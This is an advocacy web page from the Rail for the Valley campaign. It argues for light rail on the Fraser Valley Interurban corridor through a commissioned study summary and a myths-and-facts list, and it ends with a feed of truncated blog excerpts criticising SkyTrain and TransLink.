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The monumental first Interurban train trip from New Westminster to Chilliwack occurred on October 3 1910. 100 years later, Rail For The Valley takes a look at some important current issues, and misconceptions standing in the way of a service today.

The Fraser Valley Regional Study

In early 2008 the Province claimed a major study of light rail would soon be released, but almost three years later the public is still waiting. The Province has hyped this simple FVRD report as an in depth examination of the feasibility of light rail. Unfortunately this is not the case. The study has little to do with rail at all and only encompasses the region between Abbotsford and Chilliwack. As John Buker noted:

“Given the public support for passenger rail, it’s hardly surprising the Province would try and pass off an FVRD report on Abbotsford-Chilliwack traffic projections as a meaningful light rail study. It’s very doubtful that the provincial report, when it is finally released, will shed much light at all on the potential for an Interurban light rail service.” “What kind of study examining the feasibility of light rail in the Fraser Valley excludes Vancouver, Surrey, and Langley?”

Realizing that the public deserved an honest accounting of the potential for light rail service on the Interurban corridor, Rail For the Valley concluded that an independent analysis was essential.

The independent Interurban Study is completed September 2010

One of the major hindrances to any light rail study to date has been both the lack of light rail expertise, and of a light rail industryAi??Ai??Ai?? inAi??Ai??Ai?? theAi??Ai?? province. Provincial studies have relied on Heavy Rail consultants who are simply not qualified to do a major study of a light rail system. The Interurban report is British Columbia’s first study done by experts in the field of light rail.

A highly esteemed rail consultancy firm Leewood Projects Ltd, was commissioned by Rail For the Valley to undertake what stands as the most comprehensive and detailed light rail implementation study in the history of the Province. Leewood Projects is a professionally respected firm in Great Britain that has been involved in major transit projects such as the London Underground, and Croydon Tramlink.

The Province’s own lackluster ‘feasibility’ studies when contrasted against this groundbreaking report are embarrassingly inadequate. The Province’s inference that they have access to more accurate facts and figures is no longer just a myth, it is a falsehood. The Interurban report once and for all demolishes the argument against passenger rail service in the Fraser Valley. The findings of the report are clear:

‘This report concludes that the conversion to 21st Century Community Rail/Light Rail of the BCER Lower Fraser Valley Interurban, will bring positive benefits to the communities it will serve in; Economic &Ai??Ai??Ai??Ai??Ai?? InwardAi??Ai??Ai??Ai?? Investment,Ai??Ai??Ai??Ai??Ai??Ai?? Tourism, Environment, Health & Social Cohesion. The early implementation of Phase 1, from Chilliwack to Scott Road in Surrey, will be the beginning of the benefits.’ (page 54)

Ridership potential of the Interurban

Light Rail systems around the world are built to attract ridership. These systems are most cost-effective when they are built in areas with less density, before heavy urban development takes place, such as in the case of the Fraser Valley. Failure to build in advance of density results in astronomical construction costs. Recent examples are the Canada Line, costing over $100 million per km, and the planned Evergreen Line, which will cost over $120 million per km. That trend of building late instead of early has cost BC taxpayers billions of dollars.

Led by the city of Surrey, the Fraser Valley is projected to pass Vancouver in population within the next 10 years. This is why it is imperative that this system be built immediately. Opponents in the Provincial Government have been trying to fool the public into believing that ridership might actually be an issue, simply because they would rather spend money elsewhere.

It is a known fact that comparable regions, even regions with less density, have effective light rail systems. We see this in cities such as Calgary and Edmonton. The recent Interurban study was undertaken by a prestigious light rail firm in England, Leewood Projects. It would be absurd for them to even include ridership data in their study. They have shown us that the system is very workable here in B.C. and can be built economically. If they were in the business of planning systems that didn’t work, they would not be the kind of firm that helped build the Channel Tunnel. This shows the hollowness of the Ridership argument.

Costs

According to Translink figures, the West Coast Express commuter service recovers more than 90% of its operating costs. This is despite the fact that as much as half of its budget goes toward a heavy lease fee to CP Rail. The Interurban corridor, on the other hand, does not require any lease fee. The right to operate passenger trains is already owned by the public. The Interurban would serve a population approaching 3 times that of the West Coast Express, and with no lease fee there is little doubt the service would quickly turn an operating profit.

Light Rail systems are one of the most cost effective systems in the world and one of the few modes of public transportation that can pay for themselves. Highways and roads on the other hand cost BC taxpayers billions. The Provincial Transit Plan calls for expenditures of $1.6 billion on buses alone over the next few years. Traffic congestion also has tremendous hidden costs: economic costs, health costs, and costs in terms of environmental pollution.

Ultimately, all of the Province’s current transportation proposals for the Fraser Valley will only serve to increase the traffic on our roads. Reducing road traffic reduces all of these costs. It’s estimated that the West Coast Express service is equivalent to taking 4,300 cars off the road and reducing greenhouse gas emissions by 21,502 tonnes a day.

Opponents of the Interurban argue that, with the current Economic hardships, the timing for construction of an Interurban system is poor. In fact, implementing light rail on the existing Interurban Right of Way is incredibly cost-effective ($6 million per km compared to Skytrain $100-140 million per km). A proposed Skytrain extension as far as Langley will further bankrupt the transit system and communities in the Valley have made it clear they prefer more affordable light rail. The system will serve roughly a million people in the Fraser Valley, far more than any multi-billion dollar transit projects under consideration for Vancouver. The alternative to light rail service is to continue pouring millions into expensive government transit projects like Skytrain.

The Future

Today, we still have the opportunity to build a light rail system in the Fraser Valley economically, to all our benefit. The costs of failing to act now are extreme and cannot truly be calculated. A light rail network will help to relieve traffic on our roads, improving our health, our air quality and the environment around us. One day soon this service will connect all the cities of the Fraser Valley and Vancouver in a truly comprehensive transit network. The time to plan that future is today.

Myths and Facts

There is the need for the Rail in the Valley; but first, here’s a few myths you might have heard about passenger rail.

1. We donai??i??t have the population yet. Maybe in 20 years.

In 1910, we had 18,000 people in the Fraser Valley, and we had Interurban passenger rail service all the way from Chilliwack to Vancouver. In the 1950s, we had 80,000 people, but the Interurban was shut down because people were driving cars instead. Today, the Fraser Valley has more than 10 times the population (around 1 million), and traffic headaches youai??i??d never dream about in the 1950s.

And if we do reach some magical population number (that is never specified by critics) in 20 years anyway, why not prepare for it today?

2. We donai??i??t have the density. We donai??i??t have the density for expensive Skytrain, but we donai??i??t need Skytrain. We need regular trains like we used to have, and we have plenty of density for that.

All around the world, light rail is being built in regions with comparable or lower density. We donai??i??t even need to look to Europe ai??i?? the spread-out city of Calgary has the C-Train, carrying 250,000 passengers a day.

3. Laying track is just too expensive. Ai??Think about this. There are tracks everywhere. All across Canada. We could afford to build those thousands of miles of track when we were relatively just a few people, but now itai??i??s too expensive to build a bit more track in order to connect the people of the Fraser Valley? This idea ai??i?? that with all our population and wealth of today we canai??i??t afford to build a few kilometres of new track ai??i?? is laughable.

When politicians say laying track is too expensive, it just means they want to spend our money on something else.

But in fact, WE ALREADY HAVE TRACKS just waiting to be used. The old Interurban tracks could be upgraded for passenger service at low cost. All totalled, according to a comprehensive independent analysis by a respected firm with an expertise in light rail, it would cost just under $500 million for a Chilliwack-Surrey diesel service running every 20-30 minutes connecting to Skytrain, or under $1 billion for an electrified service running from downtown Vancouver to Rosedale, 12km past Chilliwack. These amounts include stations, trains and everything else. It sounds like a lot of money, but compare this to the $2.4 billion that was spent on Vancouverai??i??s 19km Canada Line, the $1.4 billion pricetag for the Evergreen Line Skytrain extension to Coquitlam, $2.8 billion for a planned 12 km Skytrain extension to UBC, and the $7 billion and rising pricetag of the Gateway highway-expansion projects. Why not spend a bit of money on rail transportation in theAi??Fraser ValleyAi??for a change?

4. The geography of the Interurban line makes it too slow and impractical to use. Ai??Some sections of the Interurban track have a slight grade to them. This makes some politicians and bureaucrats claim that trains running uphill on them would be too slow, only travelling at 50 km/hr. Itai??i??s completely bogus. Once the track is upgraded, we can expect speeds of 80-100 km/hr in areas where the density of stations is not too high.

From its terminus in downtown Chilliwack, the Interurban track runs through Sardis, Yarrow, down to Sumas and up past UFV to Abbotsford. From there, it runs westward past Trinity Western University, through Langley, Cloverdale and Surrey, where it could connect to the existing Scott Road Skytrain Station. At the Fraser River, it joins other railways to cross the New Westminster rail bridge, where there are multiple possible routes into Vancouver. The Interurban track is walking distance from ALL of our South of Fraser colleges and universities, most commercial centres, and a short shuttle ride from the Abbotsford Airport.

5. The Interurban, and trains in general, are slower than cars. Ai??Itai??i??sAi??NOTAi??generally true that trains are slower than cars. The West Coast Express, for example, travels at 110 km/hr and takes 73 minutes to get from Mission to downtown Vancouver ai??i?? easily faster than a car, and ridiculously faster than a car stuck in traffic.

With each year that passes, road congestion in the Fraser Valley keeps getting worse, due to a rapidly growing population. A few years ago, assuming no traffic delays and good weather, a trip by car to most places in the valley would have been quicker than a trip by train. Today this is often no longer the case: Today, commuters need to anticipate delays when planning their trips, and even with predictable traffic the time it takes for a simple trip from Point A to Point B in the Fraser Valley is taking longer and longer. Highway 1 congestion as far east as Abbotsford or even Chilliwack is now commonplace, and with the Fraser Valley’s booming population the situation is only going to get worse.

The train ride would also be much more relaxing than driving in stop-and-go traffic, you would actuallyAi??enjoyAi??the trip, and with today’s WiFi technology you would have the option of staying connected and getting things done.

Taking the train will not be the best solution for every trip in the Fraser Valley. But, with this option, an alternative will be provided for many travellers, thereby also reducing the congestion on the roads for the rest of us. In the future, with a rail line already in place, the network could readily be expanded, including a connecting line serving longer-distance commuters from the eastern Valley, such as an extended West Coast Express.

6. Rail services like the West Coast Express are heavily subsidized. Ai??Not true at all. The West Coast Express service would actually be profitable if it were not for the expensive lease fee that has to be paid to CP for the use of their track. Unlike roads, trains can make money.

And unlike the West Coast Express, the Interurban right-of-way south of the Fraser River is owned by the government, as well as the rights to run passenger rail on the track. No expensive lease fees here. The Interurban would serve a population approaching 3 times that of the West Coast Express, and with no lease fee there is little doubt the service would quickly turn an operating profit.

Light Rail systems are one of the most cost effective systems in the world and one of the few modes of public transportation that can pay for themselves. Highways and roads on the other hand cost BC taxpayers billions. The Provincial Transit Plan calls for expenditures of $1.6 billion on buses alone over the next few years. Traffic congestion also has tremendous hidden costs: economic costs, health costs, and costs in terms of environmental pollution.

Ultimately, all of the Provinceai??i??s current transportation proposals for the Fraser Valley will only serve to increase the traffic on our roads. Reducing road traffic reduces all of these costs. Itai??i??s estimated that the West Coast Express service is equivalent to taking 4,300 cars off the road and reducing greenhouse gas emissions by 21,502 tonnes a day.

7. Trains would create bedroom communities. Ai??The argument REALLY is: in order to keep outlying communities from becoming bedroom communities, the powers that be must artificially restrict the mobility of their citizens by denying us the right to travel in a relaxing, environmentally friendly way.

The train goes both ways. Just as good ai???railai??? transit makes it attractive to live in outlying communities, it would also be a sure inducement for businesses wishing to relocate from the higher-taxed and congested Vancouver region.

Forget about bedroom communities. How about polluted communities? Increased smog, air quality alerts, growing levels of asthma and lung disease resulting from more and more vehicles on the road creating greater traffic congestion, emissions wafting eastward? Thatai??i??s what weai??i??re looking at in the eastern Valley without rail.

Passenger rail will help clean up the air we breathe!

8. Weai??i??re not a train culture. We wouldnai??i??t get the ridership. Ai??One second, one politician will claim rail will create bedroom communities. Then, another will claim that we wouldnai??i??t get the ridership because weai??i??re not a train culture.

Which is it, guys? These are just excuses for the status quo ai??i?? the easiest answer is always inaction. Opponents have been trying to fool the public into believing that ridership might actually be an issue, simply because they would rather spend money elsewhere.

Light Rail systems around the world are built to attract ridership. These systems are most cost-effective when they are built in areas with less density, before heavy urban development takes place, such as in the case of the Fraser Valley. Failure to build in advance of density results in astronomical construction costs. Recent examples are the Canada Line, costing over $100 million per km, and the planned Evergreen Line, which will cost over $120 million per km. That trend of building late instead of early has cost BC taxpayers billions of dollars.

Led by the City of Surrey, the Fraser Valley is projected to pass Vancouver in population within the next 10 years. This is why it is imperative that this system be built immediately.

Anyone who uses the Skytrain or the West Coast Express knows that we are as much of a train culture as anywhere in the world, and if we are less so south of the Fraser, it is only because we have no trains.

9. With the current Economic hardships, the timing for construction of an Interurban rail system is poor.

In fact, implementing light rail on the existing Interurban Right of Way is incredibly cost-effective ($5 million per km compared to Skytrain $100-140 million per km). A proposed Skytrain extension as far as Langley will further bankrupt the transit system and communities in the Valley have made it clear they prefer more affordable light rail. The system will serve roughly a million people in the Fraser Valley, far more than any multi-billion dollar transit projects under consideration for Vancouver. The alternative to light rail service is to continue pouring millions into expensive government transit projects like Skytrain.

Send in Your Letters!

Rail for the Valley is an issue only because ordinary people have made it an issue. Writing a letter to the editor of your local newspaper is the simplest, most concrete thing you can do for the movementAi??right now.

Send your Letter to the Editor to some of these newspapers (sign your name and address):

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The following is a partial compilation of Letters to the Editor that were collected in the early years of the Rail For the Valley Campaign.
Voice needed at transit table
The Chilliwack Times
Published March 16, 2010
Editor: I appreciate our mayorA...

Letter Archive:

Since we formed in July 2007, people who agree with Rail for the Valley have been writing many letters to the editor of our local papers.Ai??It’s working… The Rail for the Valley movement has been getting a lot of press!

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Poorly designed and poorly maintained, means the so called backbone of our transit system, turns spineless, leaving thousands of people to fend for themselves.
Toronto's Scarb...

As interest in TramTrain grows abroad, we are left with Translink's SkyTrain only planning.
The lack of flexibility of SkyTrain will soon hamstring our urban rail system under the weight of massive subsidies and debt serving costs.
TramTrain, fir...

The B.S. line, an apt name for the proposed Broadway SkyTrain subway.
What is more remarkable is that Postmedia allowed this to be printed.
Could it be that the SkyTrain Lobby in Postmedia is beginning to weaken?
Here is the real reason why th...

A grim reminder indeed!
Thanks to the Ford's in 2010, the SRT remains in place instead of the planned LRT conversion that was supposed to up and running either late last year or this year. It would not only cover the exiting line, but the 1980 plan ...

Professor Patrick Condon vents about the Broadway SkyTrain subway.
The question is; "Who is listening?"
Am I the Last Voice against SkyTrain to UBC?
It will drive unaffordable condos in Vancouver. Which drives me nuts.
B...

"It is interesting how TransLink has used this cunning method of manipulating analysis to justify SkyTrain in corridor after corridor, and has thus succeeded in keeping its proprietary rail system expanding."
Gerald Fox, 2008
Malcolm Johnston...

The Mayor of Vancouver and the Mayor of Surrey discuss the Broadway Subway. What could go wrong?
It takes a lot of money to operate a transit system and subways tend to be a financial black hole and are avoided unless ridership on a transit line deman...

The Broadway SkyTrain subway grift continues with a new band of suckers who will waste billions more of taxpayer's monies on a politically prestigious transit project.
So, Vancouver's carpet-bagging Mayor (former Burnaby NDP, MP) is continuing t...

Some transit blogs seem to think that building a subway is easy peasy , costing only a little more than a surface operation. This train of thought comes from a grand ignorance of subway construction and operation; with Translink's grand subway plans ba...

It seems TransLink is reading the Rail for the Valley blog and is worried that Bombardier Inc. has folded the Innovia Metro line into the existing Movia Metro Line of vehicles and that Innovia production may cease cease altogether.
With the aging py...

A letter sent to the Mayor and council's of the Two Langley's and Delta, sent by Malcolm Johnston, on Jan. 2, 2019.
“One of the saddest lessons of history is this: If we've been bamboozled long enough, we tend to reject any evidence of the...

The Metro Vancouver mayors may soon foolishly acquiesce to the mayor of Surrey's demand to build with SkyTrain instead of light rail.
Foolish, because they will remain tied to one supplier and will have to dance to the tune of Bombardier Inc., when ...

When one is conned, very seldom will one admit to being conned.
Well, the good burghers of Langley are being conned by the new mayor of Surrey and by their lack of due diligence, will condemn Langley residents with congestion, gridlock, and very poo...

Hats off to Professor Patrick Condon for this!
The mayor of Surrey may wish he had kept his mouth shut about light rail and SkyTrain.
Oh, he will get his toy train to Fleetwood, no doubt, but after that fiscal reality will hit like a Tsunami.
...

The mayors council has now voted to proceed with SkyTrain.
"What fools we mortals be", quoting the great bard.
What the Mayor's Council on transit did vote for is a mediocre SkyTrain extension, that really goes nowhere , demanded by the ravings the a...

SkyTrain built for the same price as light rail, think not.
The real cost, will be somewhere around $3 billion, but then include the Expo line rehab, the cost will be orbiting around $6 billion.
If the regional mayors cave in to the demands of Su...

Contrary to the constant spin that the grade separated SkyTrain is not bothered with weather or such problems, today's rain caused several stations to close.
Despite all the recent hype and hoopla, SkyTrain operation is affected by circumstances bey...

True to form, TransLink and the mainstream media haven't a clue about SkyTrain or SkyTrain vehicles.
A news story on CKNW radio as well as other media sources claimed erroneously that the MK.3 rail cars are articulated.
The new MK. 3 cars are not...

Charlie Smith of the Georgia Straight gets it, but that is no surprise, Charlie Smith and the Georgia Straight has always been the newspaper of note when it comes to SkyTrain?
Why, you say? Because he asks real questions.
By building SkyTrain, th...

Ah, the realities of political promises as the new Mayor of Surrey has now discovered; a very big $514 million problem.
Even the most ardent of SkyTrain supporters, except for the tin foil hat brigade, realize SkyTrain costs a lot more to build than...

Dated transit thinking comes from SkyTrain, because light-metro is a dated transit system.
There is no backbone for transit, except for a network of transit lines and only if it is designed properly, designed for the needs of its customers and not t...

As light rail begins to gain influence in Canada, out in Lotus Land, stupid is as stupid does continues.
Quebec City unveiled plans Friday to build a $3-billion public transit network that will include tramways, an electric trambus and reserved bus ...

Grenoble tramway system is one of the very successful new build light rail line in France.
Overview
Native name
Tramway de Grenoble
Locale
Grenoble, Rhône-Alpes, France
Transit type
Tram
Number of lines
5
Number...

Don't shoot the messenger.
Didn't old Zwei didn't try to warn everyone, the Mayor of Surrey's juvenile anti LRT crusade may mean no SkyTrain in Surrey for ten years or more and if Bombardier closes down production of SkyTrain cars, could mean no Sky...

From the 2017 Steer Davis Gleave - HATCH report, the total cost for SkyTrain, including fifty-Five new cars is $2,914,798,721.00. As 2019 nears, the cost is rising.
Memo to Doug McCallum: we are not building SkyTrain to 1980's cost of construction.
...

Delusional, is all what Zwei can say.
The LRT in Surrey is not a Surrey project, it is a TransLink and Metro Vancouver project and Metro Vancouver has shown no signs that it will cancel LRT as of yet.
The Money earmarked for the LRT is not transf...

First posted April 18, 2018
Updated
Surrey has a big transit and transportation problem, and now with the announcement by mayor elect, Dough McCallum, now leaves the LRT project in doubt.
The cacophony of the SkyTrain Lobby with their half...

Idiots, what can I say, complete idiots, the pair of them.
SkyTrain is an obsolete proprietary light metro system, made obsolete by light rail! This has been known by all competent transit planners since the late 1980's!
The proprietary SkyTrain ...

Patrick Condon is the James Taylor chair in Landscape and Livable Environments at the University of British Columbia’s School of Architecture and Landscape Architecture and the founding chair of the UBC Urban Design program.
Prof. Condon is worth ...

What is interesting with this story is the matter of perspective comparing Vancouver and Toronto.
In Toronto, the 504 streetcar servicing carries around 80,000 riders a day in 2018.
In Vancouver, where a subway is being proposed for Broadway, as ...

So, where are the important stories about SkyTrain and transit Ms. Bula?
Any mention that Transport Canada's Operating Certificate for the Innovia SkyTrain system (Expo and Millennium Lines), limits capacity to 15,000 pphpd?
No?
Have you ever ...

[caption id="attachment_22667" align="aligncenter" width="630" caption="MK. 3 SkyTrain, gangwayed throughout."][/caption]
The new Mk.3 car is really a tarted up Mk.2 car, with one noticeable difference, the MK.3 sets now include a powered ...

It is interesting indeed that Vancouver Sun columnist, Vaughn Palmer is writing about transit and the two massively expensive rapid transit projects, the Surrey LRT and the Broadway subway.
With both federal and provincial backing, these two ill con...

Not really news if one knows light rail.
Like it or not, modern public transit is coming to Surrey and the SkyTrain Lobby are kicking and screaming all the way, why?
The fear, I believe, is that there is great fear that when modern LRT operates i...

Portend of what is going to be more and more common on SkyTrain, signal failure.
As our SkyTrain ages, more and more service is disrupted by signal or a switch failure and with almost no redundancy in our transit system, the results for the transit ...

Talking through one's hat, definition:
Talk nonsense; especially on a subject that one professes to be knowledgeable about but in fact is ignorant of.
This is exactly what former Surrey mayor and current morality candidate, Doug McCallum is doing.
...

[caption id="attachment_22555" align="aligncenter" width="708" caption="Modern LRT does have a higher capacity than SkyTrain and it looks nicer too!"][/caption]
You don't have to be smart to be the Minister responsible for TransLink, rather you just...

As the Surrey LRT slowly gather's steam, it seems the regional taxpayer is paying a lot of money for very little.
Despite the hype and hoopla about the Surrey LRT, does not do anything really, just provide a somewhat faster trip to the nearest S...

I do not agree much with Vaughn Palmer, but I think he has twigged to the fact not all is right with current transit planning.
When Postmedia allows unpleasant news about SkyTrain, one knows things are amiss.
The realities of subway construction ...

Today's photo-op with Premier Horgan and Prime Minister Trudeau was nothing more than an attempt to try to boost their flagging political base. Nothing like a re-announcement of a re-announcement to get the rubes all excited.
It is also a subtle...

In the UK, there is a plan to service Heathrow Airport with another rail link and one of the contenders is the London Air Rail Transit System or "LarTs".
The Buckley family are heavily involved with LarTs and includes:
Captain Pete...

Why do politicians always think they are transit geniuses?
Mostly because they are too stupid to understand the basics of transit planning and the application of modern public transit philosophy.
Doug McCallum is one, a former Surrey Mayor who wa...

Welcome news.
When a heritage streetcar route is upgraded to light rail standards, simply by giving it priority over autos, reliability increases dramatically as does ridership.
The lesson to be learned is indeed very simple.
One need not segr...

€300 converts to CAD $455 million for 24km of tram line or about CAD $18.2km per km to build.
This of course does not include vehicles or a maintenance depot, but does give a good indication of the cost for an economy light rail line to be built i...

Unacceptable!
The Canada Line morning rush hour fiasco, last Friday was and is completely unacceptable and demonstrates TransLink completely inane policy of forcing as many bus riders as they can onto the light-metro system.
What happened Friday, d...

The old fogies of politics are now driving the change from LRT to SkyTrain in Surrey.
The same old lies.
The same old deceit.
The same old ignorance is now gaining control of regional transit south of the Fraser, as it has done in the rest...

And Light Rail Transit – Premier Horgan, Are You Listening?
Evidently not!
Posted by zweisystem on Thursday, July 27, 2017
What this story does not mention is that Portland has an extensive LRT/streetcar network, a transit ...

Common sense.
Want a workable public transport system?
One must plan on this scale as being done in the City of Surrey.
Let us just add a Vancouver to Chilliwack TramTrain, instead of LRT to Langley and one would now have 270km of rail transit...

And now, the real story.
There is a growing number of politicians who want to build with SkyTrain instead of LRT in Surrey. What they ignore at their own peril is that SkyTrain will not cost $1 billion more than LRT to build, but it will cost over $...

This what LRT is supposed to do - traffic calm, by providing a quality public transit alternative.
In Vancouver, light metro is built to increase density, thus increasing auto use.
The modern tram, provides transit, on the pavement, easy to use, ...

Many people who advocate for more SkyTrain extensions in the metro region, do not understand the costs associated with automatic train control or ATC, necessary for driverless operation.
The cost of resignalling just one subway line in Toronto is sa...

Zwei predicted years ago that current transit planning will compel South Fraser Municipalities to abandon TransLink.
Well, it has happened, like it or not a new political group, Proudly Surrey, has made leaving TransLink as part of their electoral p...

This is a major problem for Metro Vancouver, Bombardier Inc. doesn't give a damn about its rail products and this should make Metro Vancouver mayors and TransLink very worried.
Why?
Bombardier is the sole suppliers of the Innovia metro car used o...

Something TransLink and the Mayors Council on Transit likes to keep hidden.
The cost of subway construction in Toronto is pegged at $580 million per km.
By comparison, the cost for LRT (not in BC mind) is pegged at $35 million to $50 million per ...

FastFerry fiascos tend to be common in BC, where politicians play the part of transit experts and squander the taxpayer's money on prestige projects, that are great for ribbon cutting photo-ops, but little more.
That Translink's American CEO app...

As predicted.
Yesterday, SkyTrain went ka-put, once again.
SkyTrain needs a massive refurbishment, about $3 billion infusion is needed to make it dependable again.
But, there is only so much money for transit projects, so the $3 billion Broadw...

In Europe, transportation needs are designed to meet the needs of transit customers.
In BC, transportation needs are designed to further political careers and money laundering.
Example: The $3 billion Broadway SkyTrain subway, being built on a transit ...

Mobility pricing, TransLink's desperate ploy to hide their inept planning to date.
TransLink happily spends twice or three times more for "rail" transit than they should. TransLink also spends at least 60% more operation "rail" transit than they should...

What was turning out to be a breathe of fresh air in BC politics, Premier Horgan and his puppet master, former Vision(less) Vancouver Councillor and now Horgan's chief advisor, Geoff Meggs, have killed the idea for LRT on the E&N and you can damn w...

I think a tad optimistic.
Huge costs for what is basically an on-street/at-grade tram is staggering and it seems TransLink has pulled out the stops to gold-plate this project, which has now become a road project, rather than a LRT project.
That n...

Good old Zwei has been blogging on local transit issues for the past 10 years, I can say that both recently announced "rail" transit projects are both hugely expensive, will not ease congestion and will fail to achieve their objective, except giving th...

One can draw a straight line from BC's current money laundering scandal and the Broadway SkyTrain subway.
It is the only conclusion one can make with the proposed Broadway subway, as customer flows on Broadway just do not warrant a subway.
Building a s...

.............to make the same expensive mistakes.
In Toronto, metro madness is the order of the day, but the overlooked story is the Scarborough R/T, SkyTrain's first cousin, being torn down because it will be soon "life expired".
The current debate is...

And here I thought universities were filled with intelligent people; people who crave education and research.
At UBC, evidently not!
The ignorance and displayed by the UBC types is nothing more than appalling.
Lysenkoism and jingoism has now become tra...

Common sense.
Common sense: something that TransLink, the City of Vancouver, the Mayor's Council on Transit, TransLink and its CEO, Premier Horgan and is entourage lack.
Common sense: the industry standard for customer flows on a transit line needed to...

The current transit philosophy is that transit be used to density the route it travels, to increase ridership potential. In Metro Vancouver, this has been taken to the extreme, where properties along a transit route have been up-zoned to permit high r...

The unintended consequences of transit planning are embarrassingly many. What planners expected did not happen and the unexpected, proved challenging.
In Germany in the 1960's and 70's, there was a big push to build subways.
Subways were thought of gre...

Light-metro, the great philosopher's stone for urban transportation in the 1970's has turned out to be nothing more than a wet squib.
BC's provincial politicians have continually forced light-metro onto metro Vancouver, forcing bus riders by the tens o...

This is what should be happening in Metro Vancouver, but it's not.
SkyTrain is elevated or put underground, to keep streets free for cars.
The cycle lobby is giving precedence over transit customers.
Cars remain the most viable transit mode in the regi...

Not high speed rail, but TramTrain is an affordable rail option in lightly populated regions.
Vancouver's mainstream newspapers have been famously ill informed on the subject of "rail", whether be it, SkyTrain, light rail, or regular railways. I don't ...

As Barnum observed, there is a sucker born every minute.
The Hyperloop is just another "better mousetrap scam" from the "anything is better than rail" crowd.
Hyperloop is just a 21t century version of the atmospheric railway con-game and a game...

Bombardier Inc. is in big trouble.
The company lost Montreal's tailor made tender for its REM light-metro project and continues to be late in delivering trams to Toronto and combined with a sundry of other problems has, made the Bombardier product a p...

A year ago, the Canada line went ka-put in a snow storm and thousands of customers were stranded North of the Fraser River and all TransLink can do is advise people to walk a snow bound rail bridge, in a snow storm to get to Richmond.
This is unaccept...

As Toronto's Kings street streetcar reinvents itself as LRT, good things happen.
But, as always with something new, people will complain, especially some restaurant owners who no longer can park their cars in front of their places of business.
If publi...

Foresight:Ai??The ability to predict what will happen or be needed in the future.
The announcement for the Pattullo Bridge replacement, by Premier Horgan, displayed a complete lack of foresight for transportation needs in Metro Vancouver.
The key to i...

Oh, what tangled webs we weave........
The big news today is not the forthcoming announcement by the Premier and Minister of Transportation replacing the aged and decrepit Pattullo Bridge, with a new $1.6 billion bridge, rather it is revelation that so...

Subway maintenance costs are an issue that TransLink and the regional mayors have not even considered.
As subways age, they cost a lot to maintain. The TTC has put the cost just to operate and maintain 5 km of subway, at $40 million annually and just g...

Light Rail, brings with it, civic maturity.
This civic maturity puts the transit customers before political friends; it puts financial reality ahead of political prestige; it puts the public interest as a whole, ahead of car drivers and even business o...

It has been said that longer trams are cheaper to operate than a coupled set and with the Dublin LUAS 55 metre long trams, sets a new standard in the British Isles and Eire. Whether the ancient streets and bridges can handle the beasts is another issu...

In BC, when election time nears, politicians are looking for issues to garner votes.
In the Fraser Valley, traffic chaos grows with population, with the obvious results - gridlock.
Rail for the Valley has an affordable plan, yet it fell on deaf ears an...

For a proprietary transit system that is supposed to have a remarkable operational reliability, it is breaking down an awful lot lately.
Could it be that SkyTrain is not as reliable as certain people would have us think?
Sadly, SkyTrain is demonstratin...

As of yet, there is no real cost estimate for the Broadway Subway and reality is setting in that it will be in excess of $3 billion, unless the scope of the project is reduced, as was done to the Canada line.
One persistent rumour I hear is that the Mi...

After the CBC's fawning over the largely discredited SkyTrain for Surrey lot, Light Rail For Surrey fights back.
Just a reminder, in 2016, CKNW outed SkyTrain for Surrey for fudging the truth and now, they are at it again with the CBC.
The questions I ...

From Bob Mackin and the Breaker.
From July 2017
Zwei has studied "Road Pricing" and "Congestion Charging" for over 20 years and..................
the very first rule for a successful road pricing scheme is that the region have a user friendly and affo...

Zwei has often warned of the perils of a proprietary railway.
Our friend Mr. Cow has warned of the perils of a proprietary railway.
And now, Bombardier's current fiasco supplying 21st century trams of a proven European model, may be the final straw in ...

As expected, upgrade a heritage streetcar line to a light rail standard and ridership increases dramatically.
By making King St. an exclusive route for trams, increased both commercial speed and ridership, so much so, it overwhelmed the servcie.
This i...

This is significant on two accounts.
First: Why was TransLink doing electrical repair during operating hours at the station and why wasn't proper procedure followed?
Second: Why is it that the Breaker News scooped the mainstream media on this?
This is ...

The Cargo Cult is a millenarian movement first described in Melanesia which encompasses a range of practices and occurs in the wake of contact with more technologically advanced societies. The name derives from the belief which began among Melanesian's...

One of the recurring themes for the SkyTrain types is that big cities have subways and little cities have trams.
Well Berlin, the Capital of Germany with a population 3.7 million, is now investing in trams in the former "West" portion of the city as th...

The Scarborough subway soap opera continues.
What is interesting is that the NDP in Ontario may very well kill the now $3.45 billion, 5 km., one station subway for a much cheaper light rail line.
"There is a tipping point beyond which the unjustifiable...

As our friend, Haveacow indicated some time ago, the Broadway subway is going to cost a lot more than many think.
Some years ago, Zwei entered into correspondence with a German transit Engineer, Wolfgang and he warned of subway construction and operati...

A Vancouver reader to this blog received the following letter today from the City of Vancouver.
The gentleman received the letter one day past the RSVP Date and the city evidently got the bus route numbers mixed up, as well.
This continues the ...

Good news everyone, there has been a shake up at TransLink and Burnaby Mayor Derek Corrigan is at the helm of the Mayor's Council on Transit.
Mayor Corrigan is the only mayor who actually has knowledge of transit and transit operation as he was a forme...

The anti-rail brigade is hard at it on Vancouver Island and there is a good reason why.
The author of the piece, consults with SNC Lavalin (a major red flag there)Ai?? and SNC Lavalin only wants high profit projects.
Example 1: The Canada line faux P-3...

More info on the Scarborough controversy.
First, modern LRT can carry more than 15,000 pphpd, in fact modern LRT can carry well over 20,000 pphpd. In Karlsruhe Germany, one tram line carried over 35,000 pphpd in the peak hour! Toronto's old Bloor Danf...

It is sad that anti-tram journalist, Francis Bula, writes such tawdry articles about transit and by doing so, demonstrates that she does little or no research and repeats the anti-tram myth.
Citing Jarret Walker as a renowned transit expert is stretchi...

Toronto's King Street experiment, bringing 21st century tram philosophy to Toronto and has opened a great many eyes.
What has happened is simple, on portions of King Street, the streetcar has been turned into light rail at very little cost.
There is no...

Zwei was not kidding about the issue of cleaning subway lines.
Due to the nature of train action in a subway, the piston like force of air that is in front of every train as it traverses the tunnel, creates a sandblasting effect on the electrics and si...

As our politicians, planners and selected academics, offer more and more studies, in an attempt of achieving nothing, by spending a great amount of time doing studies.
The railway fraternity in the UK, don't study, they do!
The Lynton and Barnstaple R...

As expected, the costs for the Scarborough subway, the subway that is replacing the Scarborough ICTS Rapid Transit line, is escalating. Toronto's ICTSAi?? or locally called SRTAi?? is a very close cousin to Vancouver's ALRT/ART system, which we collect...

For those who think the driverless car will usher in the demise if "rail" transit, think again.
Quote: "A growing number of metro regions, including the Bay Area, Washington, D.C., Philadelphia, Boston, Dallas, Houston, Miami, Atlanta, and Toronto, hav...

Really, can't the SkyTrain Lobby do any better?
The following is so silly and juvenile because it is all hearsay and opinion, not fact. But facts have never bothered the SkyTrain Lobby as they try once again try to fool the public about SkyTrain. They ...

The combined arrogance and ineptitude of TransLink just makes one's head shake.
